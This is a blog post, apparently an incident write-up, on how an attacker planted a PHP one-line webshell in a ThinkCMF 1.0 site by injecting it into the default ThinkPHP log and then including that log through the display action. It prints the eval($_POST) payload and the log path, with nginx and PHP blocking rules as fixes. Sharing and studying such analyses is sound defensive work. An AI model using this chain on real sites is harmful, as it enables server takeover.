苏南大叔最近接到委托,拯救一台被黑客攻占的网站服务器。经过和黑客之间不断的攻防战役,苏南大叔慢慢稳定下了局面。然后就可以清晰的看到黑客的一条攻击途径。那么,本文中,苏南大叔就这个thinkcmf的漏洞攻击方式说一说。

苏南大叔:真实黑客案例,thinkcmf日志注入一句话木马 - thinkcmf-log-ctf
真实黑客案例,thinkcmf日志注入一句话木马(图5-1)

大家好,这里苏南大叔的“程序如此灵动”博客,主要讲述一些计算机代码的事情。本文讲述一个thinkcmf系统的漏洞利用及解决方案。本文测试环境:thinkcmf@1.0thinkphp@3.2.3php@5.6

注意:这个漏洞虽然和thinkphp@3.2.3有关系,但是核心部分确实不是thinkphp引起的,而是thinkcmf的漏洞。

漏洞描述

本文中的漏洞利用途径非常隐蔽,苏南大叔要不是仔细观察了日志很久,也想不到居然是如此利用的。当然,这个漏洞的利用,核心还是eval一句话木马。

eval($_POST[f]);

漏洞的利用,就是写入这个木马,然后再执行这个木马即可。那么,黑客是如何写入这个木马的呢?又是如何执行这个木马的呢?

写入一句话木马

植入木马的过程,请求的链接地址是:

newsn.net:这里是【评论】可见内容

首先,这个漏洞的基础是:thinkphp@3.2.3存在默认的日志路径和名称。在thinkcmf@1.0中,这个默认日志路径类似:

/data/runtime/Logs/Portal/22_01_01.log

下面有相关描述:

其次,黑客的eval请求操作形成了一个异常,虽然异常信息并没有报错显示。但是,却写入到了上述默认的日志文件中。

ERR: 模板不存在:themes/www/Portal/Index/<?php eval($_POST[f]);?>.html

报错信息是templateFile参数,表示某个模版文件,因为这个模版文件的参数名称就是个一句话木马。因为这个模版文件必然是不存在的,所以,异常信息存入了日志文件中。需要注意的是:<?php ?>这种标记被写入到了日志之中。

苏南大叔:真实黑客案例,thinkcmf日志注入一句话木马 - thinkcmf-display-log
真实黑客案例,thinkcmf日志注入一句话木马(图5-2)

苏南大叔:真实黑客案例,thinkcmf日志注入一句话木马 - thinkcmf漏洞fetch
真实黑客案例,thinkcmf日志注入一句话木马(图5-3)

执行一句话木马

通过苏南大叔的测试,出问题的还是display逻辑。这个漏洞允许require服务器上面的任何文件,包括上一步中生成的这个默认的日志文件。那么,这个时候,一句话木马的eval语句就被执行了。

这里假设上述日志文件名称是22_01_01.log的话,那么,执行木马的请求地址就是:

newsn.net:这里是【评论】可见内容

值得补充的一点是:上述链接请求被执行后,会有个以上述日志文件内容一致的.php文件出现在cache文件夹中,然而这个文件并没有任何的利用价值,只是一个副产物罢了。

这里有更详细的描述:

thinkphp不背这个锅

苏南大叔通过仔细对比官方的thinkphp@3.2.3,发现确实这个写入木马的操作,并不是thinkphp引起的,而是thinkcmf的插件系统引起的。需要特别说明的是:官方thinkphp@3.2.3,面对同样的植入木马请求,报错的是另外的信息,并没有把一句话木马写入到日志文件之中。

苏南大叔:真实黑客案例,thinkcmf日志注入一句话木马 - thinkphp日志安全
真实黑客案例,thinkcmf日志注入一句话木马(图5-4)

解决方案

如果知道这个攻击途径的原理后,解决方案也就很多了。这里,苏南大叔提供几个可用的思路。

解决方案一(推荐)

nginx可以拦截参数中带eval的请求:

server
{
    #...
    location / {
        #...
        if ($query_string ~ (eval|insert|group|select)){
                return 403;
        }
    }
}

请参考:

解决方案二(治标不治本,速效)

thinkphpindex.php,也可以在代码最顶部拦截非法的action。这些由thinkcmf的插件体系带来的action基本上都有漏洞的嫌疑,大家看着拦截即可,比如:displayfetch等等。

$a = @$_GET["a"];
if ($a=="fetch"||$a=="display"){
    exit("stop");
}

解决方案三(推荐修改)

thinkphp修改默认的名称逻辑,这个是没有参数可用来设置的,所以直接暴力修改代码即可。这个大家自己修改即可,位置见下图:

苏南大叔:真实黑客案例,thinkcmf日志注入一句话木马 - thinkphp-log-logic
真实黑客案例,thinkcmf日志注入一句话木马(图5-5)

或者直接配置log_path参数修改日志文件路径,把日志文件移动到一个别人找不到的角落,比如:www目录外边。你自己发挥想象吧~

其它解决方案,待补充。

参考文献

类似的漏洞,可以参考下面的文章:

结束语

thinkcmf目前的最新版本是6.0,这个比较古老的1.0还是有待更新的。更多thinkcmf的文章信息,请参考:

如果本文对您有帮助,或者节约了您的时间,欢迎打赏瓶饮料,建立下友谊关系。
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留作者链接。